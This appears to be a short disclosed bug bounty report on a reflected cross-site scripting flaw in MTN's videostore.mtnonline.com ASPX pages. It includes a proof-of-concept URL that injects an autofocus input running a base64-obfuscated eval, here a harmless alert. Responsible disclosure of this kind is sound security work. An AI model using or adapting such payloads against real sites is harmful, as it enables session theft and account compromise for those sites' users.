MTN Group · Report #1244731
XSS at videostore.mtnonline.com/GL/*.aspx via all parameters
Validstatus
mediumseverity
6upvotes
1 May 2022disclosed
How it was found
PoC
https://videostore.mtnonline.com/GL/MyAccount.aspx?PId=126&CID=5&OprId=11%27><input%20onfocus=eval(atob(%27YWxlcnQoJ1hTUycp%27))%20autofocus>
Symbols <"/'> are not filtered that alloweds to inject HTML code. {F1353609}
Impact
XSS at videostore.mtnonline.com